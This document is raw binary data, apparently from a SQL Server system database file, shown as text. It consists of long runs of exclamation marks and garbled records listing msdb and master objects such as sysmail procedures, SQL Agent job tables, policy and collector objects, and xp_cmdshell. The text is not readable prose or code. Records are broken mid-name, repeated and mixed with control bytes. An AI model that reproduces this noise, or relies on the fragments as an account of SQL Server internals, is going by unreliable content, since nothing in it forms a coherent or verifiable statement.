!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pN
NH`qZLbsIFR?z0q	@28@sysproxiesdbomsdb0[r	@TZbsysmail_verify_principal_spdbomsdb0[r	@PV^sysmail_verify_profile_spdbomsdb0 r	@6<Dsysoperatorsdbomsdb0Y&s	pVsp_verify_operator_identifiers0Y&s	p2sysoperators00s	p4syssubsystems00s	@DJVxp_instance_regreaddbomaster00s	@.4@xp_msverdbomaster00s	@28Dxp_regreaddbomaster0Jyt	@06>sysalertsdbomsdb0Jyt	@6<Dsysoperatorsdbomsdb0Jyt	@>DLsystargetserversdbomsdb0Tt	@FLTsp_verify_subsystemsdbomsdb0Tt	@8>Fsyssubsystemsdbomsdb0nmu	@BHPsp_sqlagent_notifydbomsdb0nmu	@JPXsp_verify_notificationdbomsdb0nmu	@06>sysalertsdbomsdb0nmu	@>DLsysnotificationsdbomsdb0av	@BHPsp_sqlagent_notifydbomsdb0av	pFsp_verify_notification0av	@06>sysalertsdbomsdb0av	@>DLsysnotificationsdbomsdb0.v	@28@sysproxiesdbomsdb0=Uw	@BHPsp_sqlagent_notifydbomsdb0=Uw	pFsp_verify_notification0=Uw	@06>sysalertsdbomsdb0=Uw	@>DLsysnotificationsdbomsdb0gw	pZsp_verify_credential_identifiers0gw	p8sp_verify_proxy0gw	@28@sysproxiesdbomsdb0[r	@NT\sysmail_principalprofiledbomsdb0/Ps	@PV^sysmail_verify_profile_spdbomsdb0/Ps	`<Bget_principal_iddbo0/Ps	@TZbsysmail_verify_principal_spdbomsdb0/Ps	@NT\sysmail_principalprofiledbomsdb0/Ps	@<BJsysmail_profiledbomsdb0h@Dt	`4:ConvertToIntdbo0h@Dt	p0sysmail_log0h@Dt	@\bjsysmail_help_configure_value_spdbomsdb0d8u	@LRZsysmail_logmailevent_spdbomsdb0ڈ,v	@LRZsysmail_logmailevent_spdbomsdb0wZu	p.sysssislog0~u	p8sysssispackages0v	pDsysssispackagefolders0q	@tzsysmanagement_shared_server_groups_internaldbomsdb0q	@~sysmanagement_shared_registered_servers_internaldbomsdb0q	pnsp_sysmanagement_verify_shared_server_type0r	@tzsysmanagement_shared_server_groups_internaldbomsdb0,s	@~sysmanagement_shared_registered_servers_internaldbomsdb0MPt	@tzsysmanagement_shared_server_groups_internaldbomsdb0tu	@tzsysmanagement_shared_server_groups_internaldbomsdb0tu	@~sysmanagement_shared_registered_servers_internaldbomsdb0v	@tzsysmanagement_shared_server_groups_internaldbomsdb0w	@~sysmanagement_shared_registered_servers_internaldbomsdb0!s	`@Fsyspolicy_policiesdbo0!s	`V\sp_syspolicy_check_membershipdbo0#Ft	`RXsyspolicy_target_set_levelsdbo0#Ft	`RXsyspolicy_policy_categoriesdbo0#Ft	@V\dsyspolicy_execution_internaldbomsdb0#Ft	`FLsyspolicy_target_setsdbo0#Ft	@(*,valuecT0#Ft	`V\syspolicy_conditions_internaldbo0#Ft	@28Dspt_valuesdbomaster0#Ft	`@Fsyspolicy_policiesdbo0#Ft		`jpsyspolicy_policy_category_subscriptionsdbo0#Ft
	`RXsp_syspolicy_dispatch_eventdbo0#Ft	`HNsyspolicy_facet_eventsdbo0#Ft	`V\sp_syspolicy_check_membershipdbo0βuw	`RXsp_syspolicy_dispatch_eventdbo0βuw	`V\sp_syspolicy_check_membershipdbo0βuw	pDsyspolicy_event_queue0;dt	@fltsysutility_mi_volumes_stage_internaldbomsdb0;dt	@^dlsysutility_mi_smo_stage_internaldbomsdb0;dt	@|sysutility_mi_dac_execution_statistics_internaldbomsdb0;dt	@^dlsysutility_mi_cpu_stage_internaldbomsdb	p@sysmail_attachments0i|	@<BJsysmail_profiledbomsdb0i|	@<BJsysmail_accountdbomsdb0wZu	p.sysssislog0~u	p8sysssispackages0v	pDsysssispackagefolders0"w	p8sysssispackages0[x	p8sysssispackages0[x	pDsysssispackagefolders0y	p8sysssispackages03z	pDsysssispackagefolders0X{	p8sysssispackages0?||	p8sysssispackages0q	@tzsysmanagement_shared_server_groups_internaldbomsdb0q	@~sysmanagement_shared_registered_servers_internaldbomsdb0q	pnsp_sysmanagement_verify_shared_server_type0r	@tzsysmanagement_shared_server_groups_internaldbomsdb0,s	@~sysmanagement_shared_registered_servers_internalT
b4
vj$XhJ\:&~R`x:vld*Z`,	"


	`&	\

j`Z+bz0
tJ|F0C}	@28@sysproxiesdbomsdb0}	p<sysmail_mailitems07~	pZsp_verify_credential_identifiers07~	pPsp_verify_proxy_identifiers07~	pXsp_verify_subsystem_identifiers07~	p.sysproxies07~	p<sysproxysubsystem0~	@8>Fsysjobhistorydbomsdb0~	@6<Dsysjobs_viewdbomsdb0~	@8>Fsysjobserversdbomsdb0~	@6<Dsysoperatorsdbomsdb0~	@>DLsystargetserversdbomsdb0/+	pRsp_sqlagent_is_srvrolemember0/+	pPsp_verify_login_identifiers0/+	pPsp_verify_proxy_identifiers0/+	p4sysproxylogin0}	pDsp_MailItemResultSets0}	`4:ConvertToIntdbo0}	pBsysmail_send_retries0}	@LRZsysmail_logmailevent_spdbomsdb0}	@\bjsysmail_help_configure_value_spdbomsdb0~	p<sysmail_mailitems0~	pDsp_MailItemResultSets0~	@(<RvaluePropertiesMailRequest0~	@LRZsysmail_logmailevent_spdbomsdb0~	p<ExternalMailQueue0~	pFsp_process_DialogTimer0	`4:ConvertToIntdbo0	p8sp_isprohibited0	@\bjsysmail_help_configure_value_spdbomsdb0x}	pDsysssispackagefolders0Č~	pDsysssispackagefolders0	p8sysssispackages0]"~	@\bjsp_syspolicy_set_config_enableddbomsdb0]"~	@\bjsp_syspolicy_set_log_on_successdbomsdb0]"~	@pv~sp_syspolicy_set_config_history_retentiondbomsdb0]"~	`V\sp_syspolicy_check_membershipdbo0	@LRZsyspolicy_configurationdbomsdb03}	@,2:sysjobsdbomsdb03}	@8>Fsyscategoriesdbomsdb03}	@8>Fsp_update_jobdbomsdb0l~	@(.:xp_qvdbomaster0	`fn_sysutility_ucp_get_edition_is_ucp_capable_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r:d	JJ\HjR$~ 	6
p
	
$L`8bh(uNx"O0k	@DJVxp_instance_regreaddbomaster0	@JPXsp_delete_all_msx_jobsdbomsdb0	@BHPsp_delete_operatordbomsdb0	@8>Fsqlagent_infodbomsdb0		@6<Dsysoperatorsdbomsdb0	@HNVsysoriginatingserversdbomsdb0	@4:Fxp_cmdshelldbomaster0	@8>Jxp_getnetnamedbomaster0
	@RXdxp_instance_regdeletevaluedbomaster0	@DJVxp_instance_regreaddbomaster0	@FLXxp_instance_regwritedbomaster0	@8>Jxp_msx_enlistdbomaster0!	@JPXsp_delete_all_msx_jobsdbomsdb0!	@Z`hsp_generate_server_descriptiondbomsdb0!	@8>Fsp_msx_defectdbomsdb0!
	@8>Fsqlagent_infodbomsdb0!	@HNVsysoriginatingserversdbomsdb0!	@>DLsystargetserversdbomsdb0!	@DJVxp_instance_regreaddbomaster0!	@FLXxp_instance_regwritedbomaster0Pi	p:sysmaintplan_log0Pi	@>DLsysmaintplan_logdbomsdb0
^	@JPXsysmaintplan_logdetaildbomsdb0&4	p`sp_syscollector_stop_collection_set0&4	pTsysschedules_localserver_view0&4	`flsp_syscollector_verify_collection_setdbo0&4	pbsp_syscollector_start_collection_set0&4	p4sysproxylogin0&4	pvsp_syscollector_update_collection_set_internal0&4	`TZsyscollector_collection_setsdbo0&4	pPsp_verify_proxy_identifiers0_)	`flsyscollector_collection_sets_internaldbo0_)	@hnvsyscollector_collection_sets_internaldbomsdb0_)	`flsp_syscollector_verify_collection_setdbo0_)	`TZsyscollector_collection_setsdbo0	`@Fsyspolicy_policiesdbo0	`V\sp_syspolicy_check_membershipdbo05	@Z`hsyspolicy_object_sets_internaldbomsdb05	`RXsyspolicy_management_facetsdbo05	`V\sp_syspolicy_check_membershipdbo0	`JPsysdac_history_internaldbo0	`<Bsysdac_instancesdbo0	`NTsysdac_instances_internaldbo0D	`<Bsysdac_instancesdbo0D	`NTsp_sysdac_delete_instancedbo0D	`NTsysdac_instances_internaldbo0	~	@|sysutility_ucp_policy_check_conditions_internaldbomsdb0T	psysutility_ucp_filegroups_with_policy_violations_internal0T	`\bsysutility_ucp_policy_violationsdbo0T	`V\sysutility_ucp_database_filesdbo0H	@x~sysutility_ucp_dac_file_space_health_internaldbomsdb0H	@V\dsysutility_ucp_deployed_dacsdbomsdb0H	@PV^sysutility_ucp_filegroupsdbomsdb0H	@sysutility_ucp_filegroups_with_policy_violations_internaldbomsdb0H	@NT\sysutility_ucp_databasesdbomsdb0H	@TZbsysutility_ucp_dac_policiesdbomsdbector_start_collection_set0&4	p4sysproxylogin0&4	pvsp_syscollector_update_collection_set_internal0&4	`TZsyscollector_collection_setsdbo0&4	pPsp_verify_proxy_identifiers0_)	`flsyscollector_collection_sets_internaldbo0_)	@hnvsyscollector_collection_sets_internaldbomsdb0_)	`flsp_syscollector_verify_collection_setdbo0_)	`TZsyscollector_collection_setsdbo0!	`:@sysssispackagesdbo0!	`FLsysssispackagefoldersdbo0'%"	p8sysssispackages0'%"	`\bfn_syscollector_get_package_pathdbo0'%"	`flsyscollector_collector_types_internaldbo0`I#	`TZsyscollector_collector_typesdbo0	`@Fsyspolicy_policiesdbo0	`V\sp_syspolicy_check_membershipdbo05	@Z`hsyspolicy_object_sets_internaldbomsdb05	`RXsyspolicy_management_facetsdbo05	`V\sp_syspolicy_check_membershipdbo0n	pnsp_syspolicy_verify_object_set_identifiers0n	@Z`hsyspolicy_object_sets_internaldbomsdb0n	`V\sp_syspolicy_check_membershipdbo0	`JPsysdac_history_internaldbo0	`<Bsysdac_instancesdbo0	`NTsysdac_instances_internaldbo0D	`<Bsysdac_instancesdbo0D	`NTsp_sysdac_delete_instancedbo0D	`NTsysdac_instances_internaldbo0(	`JPsysdac_history_internaldbo0(	`RXfn_sysdac_is_currentuser_sadbo0(	`V\fn_sysdac_get_currentusernamedbo0	~	@|sysutility_ucp_policy_check_conditions_internaldbomsnv0*\Ln
j
z
\,

2>^r0
:(&		*
XZ	"h`prBb0
